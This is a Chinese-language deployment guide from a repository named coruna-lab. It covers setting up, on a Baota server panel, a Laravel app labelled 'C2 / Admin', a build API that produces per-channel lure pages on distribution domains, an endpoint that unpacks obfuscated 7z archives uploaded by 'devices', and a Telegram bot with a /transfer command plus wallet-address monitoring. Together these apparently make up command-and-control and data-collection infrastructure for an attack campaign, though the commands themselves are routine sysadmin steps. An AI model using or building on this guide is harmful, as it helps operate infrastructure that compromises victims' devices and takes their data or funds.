Files
coruna-lab/docs/BAOTA_DEPLOY.md
T
hashbro 6bf33e2761 Harden C2 file logging for Baota permission failures.
Swallow create_log mkdir/write errors so missing public/log ownership cannot take down requests, and document the www:www permission fix.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-08-09 16:07:56 +08:00

550 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# 宝塔部署指南(coruna-lab + coruna-lab-web)
同机部署、职责分离。构建 API 仅本机访问;Admin / C2 与静态产物站对外。
兄弟项目构建细节另见 `[../../coruna-lab-web/docs/BUILD_API.md](../../coruna-lab-web/docs/BUILD_API.md)`。
## 架构
| 角色 | 项目 / 路径 | 对外 | 进程 |
| ---------- | -------------------------- | ---------------------------- | ----------------- |
| C2 / Admin | `coruna-lab` | `https://admin.example.com` | Nginx + PHP-FPM |
| 静态产物站 | `coruna-lab-web/artifacts` | `https://static.example.com` | Nginx 只读静态 |
| Build API | `coruna-lab-web` | **仅本机** `127.0.0.1:8081` | Supervisor / 进程守护 |
```text
设备 / 运营
│
├─ Admin / C2 API ──► coruna-lab (Laravel)
│ │
│ └─ HTTP Bearer ──► 127.0.0.1:8081 (build_api)
│ │
│ ▼
└─ /channel/<id>/web|sync ──► static 站点 ──► artifacts/
```
建议目录:
```text
/www/wwwroot/coruna-lab/
/www/wwwroot/coruna-lab-web/
```
防火墙只放行 80/443;**不要**把 `8081` 暴露到公网。
---
## 0. 服务器准备
软件商店安装:
- Nginx
- MySQL 8.0
- PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换)
- Python 3.10+(系统或面板)
- Composer(建议 ≥ 2.2,见下文排错)
PHP 扩展:`pdo_mysql`、`mbstring`、`openssl`、`tokenizer`、`xml`、`ctype`、`json`、`fileinfo`、`curl`、`zip`、**gmp**
系统包:`p7zip-full`(或等价)、`git`
### PHP 多版本
宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。
CLI 请显式使用对应二进制,例如:
```bash
/www/server/php/82/bin/php -v
/www/server/php/82/bin/php artisan migrate
```
扩展、禁用函数、`php.ini` 必须在**该站点所用版本**里配置。
### PHP 运行参数(FPM / 网站)
路径:软件商店 → PHP 8.2 → 设置 → 配置修改(`php.ini`)
建议:
```ini
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 600
max_input_time = 600
```
- `post_max_size` ≥ `upload_max_filesize`
- Admin 触发构建会同步等待 lab-web,超时与 `.env` 中 `CORUNA_BUILD_SERVICE_TIMEOUT` 对齐(建议 ≥ 600)
- CLI 查 `max_execution_time` 常为 `0`(不限制),属正常;以浏览器/`phpinfo()` 的 FPM 值为准
Nginx 站点配置建议同时加大:
```nginx
client_max_body_size 64m;
```
禁用函数:Composer / Laravel 需要 `putenv`;C2 解包可能需要 `proc_open` / `exec`。从 PHP「禁用函数」中移除 `putenv`(按需放行 `proc_open`)。
---
## 1. 部署 coruna-lab-web(先部署)
### 1.1 代码与依赖
```bash
cd /www/wwwroot/coruna-lab-web
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
pip install -r frontend/tools/requirements.txt
mkdir -p artifacts
chown -R www:www artifacts # 按面板运行用户调整
```
### 1.2 `.env`
```bash
cp .env.example .env
python3 -c 'import secrets; print(secrets.token_urlsafe(48))' # 生成 token
```
示例:
```dotenv
BUILD_API_TOKEN=用长随机串替换
BUILD_API_ARTIFACT_ROOT=/www/wwwroot/coruna-lab-web/artifacts
BUILD_API_PROJECT_SCRIPT=/www/wwwroot/coruna-lab-web/frontend/tools/new_project.py
BUILD_API_PYTHON=/www/wwwroot/coruna-lab-web/.venv/bin/python
BUILD_API_HOST=127.0.0.1
BUILD_API_PORT=8081
BUILD_API_TIMEOUT=900
```
### 1.3 进程守护
宝塔 → Supervisor / 进程守护管理器:
| 项 | 值 |
| ---- | ----------------------------------------------------------- |
| 名称 | `coruna-build-api` |
| 启动用户 | `www` |
| 运行目录 | `/www/wwwroot/coruna-lab-web` |
| 启动命令 | `/www/wwwroot/coruna-lab-web/.venv/bin/python -m build_api` |
验证:
```bash
curl -s http://127.0.0.1:8081/health
```
### 1.4 静态站(只暴露 web / sync)
新建站点(如 `static.example.com`):
- 根目录:`/www/wwwroot/coruna-lab-web/artifacts`
- 关闭 PHP
- SSL 按需开启
配置示例(正则含 `{32}` 时**必须加引号**,否则 Nginx 会把 `{` 当配置块):
```nginx
server {
listen 80;
listen 443 ssl http2;
server_name static.example.com;
root /www/wwwroot/coruna-lab-web/artifacts;
location ~ "^/channel/[0-9a-f]{32}/(web|sync)/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
location / {
return 404;
}
}
```
改完:
```bash
nginx -t && nginx -s reload
```
公开 URL:
```text
https://static.example.com/channel/<id>/web/support.html
https://static.example.com/channel/<id>/sync/daily.html
```
`staging/`、`locks/`、`manifest.json`、`out/` 等不得对外。
---
## 2. 部署 coruna-lab
### 2.1 站点
新建站点(如 `admin.example.com`):
- 根目录:`/www/wwwroot/coruna-lab/public`(必须是 `public`)
- PHP:8.2+
- 伪静态:Laravel
```nginx
location / {
try_files $uri $uri/ /index.php?$query_string;
}
```
### 2.2 Composer
需要 **Composer ≥ 2.2**(Laravel 12 要求 `composer-runtime-api ^2.2`)以及 **ext-gmp**。
```bash
# 若 /usr/bin/composer 过旧,安装新版本:
curl -sS https://getcomposer.org/installer \
| /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer
/www/server/php/82/bin/php /usr/local/bin/composer -V
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader
```
常见错误见文末「排错」。
### 2.3 环境与数据库
```bash
cp .env.example .env
# 编辑 .env(见下节)
/www/server/php/82/bin/php artisan key:generate
chown -R www:www storage bootstrap/cache
chmod -R ug+rwx storage bootstrap/cache
# 宝塔创建 MySQL 库/用户后:
/www/server/php/82/bin/php artisan migrate --seed
```
默认后台:`/admin/login`(账号见 `ADMIN_*`,上线务必修改)。
### 2.4 `.env` 要点
```dotenv
APP_ENV=production
APP_DEBUG=false
APP_URL=https://admin.example.com
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=coruna
DB_USERNAME=...
DB_PASSWORD=...
ADMIN_USERNAME=admin
ADMIN_PASSWORD=改成强密码
# Session(HTTPS 单域名后台;DOMAIN 保持 null)
SESSION_DRIVER=file
SESSION_LIFETIME=120
SESSION_ENCRYPT=false
SESSION_PATH=/
SESSION_DOMAIN=null
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=lax
# 同机 Build API(token 与 lab-web BUILD_API_TOKEN 一致)
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
CORUNA_BUILD_SERVICE_TOKEN=与 BUILD_API_TOKEN 相同
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
CORUNA_BUILD_SERVICE_TIMEOUT=600
CORUNA_STATIC_SITE_BASE_URL=https://static.example.com
CORUNA_STATIC_SITE_SCHEME=https
CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example
CORUNA_REPORTING_DOMAINS=www.rep1.example,www.rep2.example
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID=
# 可选;设置后注册 webhook 时会带 secret_token
TELEGRAM_WEBHOOK_SECRET=
# 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example)
```
改 `.env` 后(**登录 / Session 依赖这一步**):
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
# 生产可再:
# /www/server/php/82/bin/php artisan config:cache
# /www/server/php/82/bin/php artisan route:cache
# /www/server/php/82/bin/php artisan view:cache
```
浏览器登录前建议清掉该站 cookie。`storage/framework/sessions` 必须对 PHP-FPM 用户(宝塔多为 `www`)可写,否则后台 POST 登录易出现 419。
### 2.5 p7zip(C2 入库)
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与渠道构建拆到 lab-web 无关。
Debian / Ubuntu(宝塔常见):
若 `apt update` 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用:
```bash
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
apt install -y p7zip-full
command -v 7z
```
拷到项目(规避 `open_basedir`):
```bash
cd /www/wwwroot/coruna-lab
mkdir -p bin
cp "$(command -v 7z)" bin/7z
chmod +x bin/7z
```
`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。
### 2.6 Telegram Webhook(上线必做)
Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径:
```text
https://<APP_URL>/hooks/telegram
```
1. `.env` 填好 `TELEGRAM_BOT_TOKEN`、`TELEGRAM_OWNER_CHAT_ID`;建议设置 `TELEGRAM_WEBHOOK_SECRET`(随机长串)
2. `APP_URL` 必须是对外可访问的 `https://admin.example.com`(无尾斜杠亦可,命令会拼接路径)
3. 确保站点已上 SSL,Telegram 能访问该 URL
4. 注册 webhook:
```bash
cd /www/wwwroot/coruna-lab
# 使用 APP_URL + /hooks/telegram
/www/server/php/82/bin/php artisan telegram:set-webhook
# 或显式指定:
/www/server/php/82/bin/php artisan telegram:set-webhook \
'https://admin.example.com/hooks/telegram'
```
成功输出 `OK`。若配置了 `TELEGRAM_WEBHOOK_SECRET`,命令会一并传给 Telegram `secret_token`;控制器按该 secret 校验。
更换域名或 token 后需重新执行本命令。
#### Bot 指令无响应 / `getWebhookInfo` 报 500
1. 看 Laravel 日志是否出现 `telegram webhook hit` / `telegram webhook failed`:
```bash
tail -n 100 /www/wwwroot/coruna-lab/storage/logs/laravel.log
```
2. 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到 `laravel.log`):
```bash
ls -la /www/wwwroot/coruna-lab/storage/logs/
# 宝塔常见:
tail -n 80 /www/wwwlogs/yxouw.cc.error.log
tail -n 80 /www/server/php/82/var/log/php-fpm.log
```
3. `getWebhookInfo` 中 `pending_update_count > 0` 且 `last_error_message` 含 500:部署含「webhook 始终 ACK」的修复后,重新:
```bash
/www/server/php/82/bin/php artisan telegram:set-webhook
```
4. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。
可选(地址监控):若启用 Tokenview,可另执行:
```bash
/www/server/php/82/bin/php artisan tokenview:set-webhook
# 默认 → https://<APP_URL>/hooks/tokenview
```
---
## 3. 联调检查清单
1. `curl -s http://127.0.0.1:8081/health` 正常
2. Admin 登录 `https://admin.example.com/admin/login`
3. 后台新建渠道 → 构建成功(lab-web 进程日志无报错)
4. 打开静态站 support / daily 页
5. `manifest.json`、`/staging/` 等返回 404
6. C2 上报与 7z 入库正常
7. `telegram:set-webhook` 成功;Bot 能收到指令
---
## 4. 日常运维
| 动作 | 命令 / 操作 |
| ---------- | --------------------------------------------------------------- |
| 更新 lab-web | 拉代码 → `pip install -r ...` → 重启 Supervisor 进程 |
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
| 备份 | MySQL + `artifacts/` |
| 构建超时 | 同时加大 `BUILD_API_TIMEOUT` 与 `CORUNA_BUILD_SERVICE_TIMEOUT` |
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
---
## 5. 排错摘要
### `mkdir(): Permission denied` at `Helpers.php` / `public/log`
C2 中间件会写 `public/log/c2/Ymd.log`。站点运行用户(宝塔多为 `www`)对 `public/log` 无写权限时会报错。
```bash
cd /www/wwwroot/coruna-lab
mkdir -p public/log/c2
chown -R www:www public/log storage bootstrap/cache
chmod -R ug+rwx public/log storage bootstrap/cache
```
同时确认网站「运行目录 / 用户」与上述属主一致。部署后建议立刻执行一次,避免首个 C2 请求踩坑。
### Composer:`putenv()` undefined
PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。
### Composer:`composer-runtime-api 2.0.0` 不满足 `^2.2`
`/usr/bin/composer` 过旧。用 getcomposer.org 安装到 `/usr/local/bin/composer`(≥ 2.2),并用 PHP 8.2 调用。
**不要**用 `composer update`「修」这个问题——lock 本身通常没问题。
### Composer:缺少 `ext-gmp`
软件商店 → PHP 8.2 → 安装扩展 **gmp**,确认:
```bash
/www/server/php/82/bin/php -m | grep -i gmp
```
### Nginx:`unknown directive "32}/(web|sync)/"`
location 正则未加引号,`{32}` 被当成配置块。改为:
```nginx
location ~ "^/channel/[0-9a-f]{32}/(web|sync)/" {
```
### `apt` 因 gitlab-ce 源 404 失败
```bash
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
```
### `cp "$(command -v 7z)"` 报 `cannot stat ''`
未安装 `7z` 或不在 PATH。先装 `p7zip-full` 再拷贝。
### CLI `max_execution_time => 0`
CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。
### 后台登录 HTTP 444
**444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin` 放行后再试。
### 后台登录方式(改造后)
- 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect
- 失败限流:同一账号+IP 约 5 次 / 60 秒
- 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定
- 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip)
### 后台登录 HTTP 419(Page Expired)
请求已进 Laravel,多为 CSRF / Session。确认:
1. `APP_URL` 为对外 `https://...`,并设置 `SESSION_SECURE_COOKIE=true`、`SESSION_DOMAIN=null`
2. 执行:
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
```
1. 浏览器清除该站 cookie 后重试
裸 `curl` POST `/admin/login` 且不带 `_token` / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。
---
## 6. 分机部署(可选)
lab 与 lab-web 不同机时:
- lab-web 内网 Nginx 反代 `127.0.0.1:8081`,仅放行 lab 机器 IP
- Laravel:`CORUNA_BUILD_SERVICE_URL=https://builds.internal.example`
- 静态站仍指向 lab-web 的 `artifacts`
同机部署时不必单独建公网 builds 站点。